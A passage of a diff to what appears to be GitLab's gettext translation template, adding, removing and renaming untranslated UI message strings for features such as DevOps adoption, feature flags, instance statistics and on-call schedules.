+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr ""
msgid "February"
msgstr ""
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr ""
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr ""
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr ""
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr ""
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr ""
-
msgid "GroupsTree|Edit group"
msgstr ""
@@ -13489,6 +13835,9 @@ msgstr ""
msgid "HealthCheck|Unhealthy"
msgstr ""
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr ""
msgid "Import Projects from Gitea"
msgstr ""
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr ""
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr ""
msgid "Import projects from GitLab.com"
msgstr ""
-msgid "Import projects from Google Code"
-msgstr ""
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
+msgstr ""
+
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14483,6 +14841,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr ""
@@ -14558,6 +14919,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14600,6 +14964,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr ""
@@ -14624,6 +14991,9 @@ msgstr ""
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14669,6 +15039,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14678,16 +15051,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14795,9 +15168,6 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14861,6 +15231,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr ""
@@ -14996,10 +15369,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15176,6 +15549,27 @@ msgstr ""
msgid "Jobs"
msgstr ""
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr ""
@@ -15305,6 +15699,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr ""
@@ -15487,9 +15884,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15583,6 +15977,9 @@ msgstr ""
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15610,9 +16007,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15643,9 +16037,6 @@ msgstr ""
msgid "Leave project"
msgstr ""
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15709,9 +16100,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15751,18 +16139,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15778,9 +16157,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15886,6 +16262,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] ""
@@ -15906,6 +16285,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -16110,9 +16492,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16173,16 +16552,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
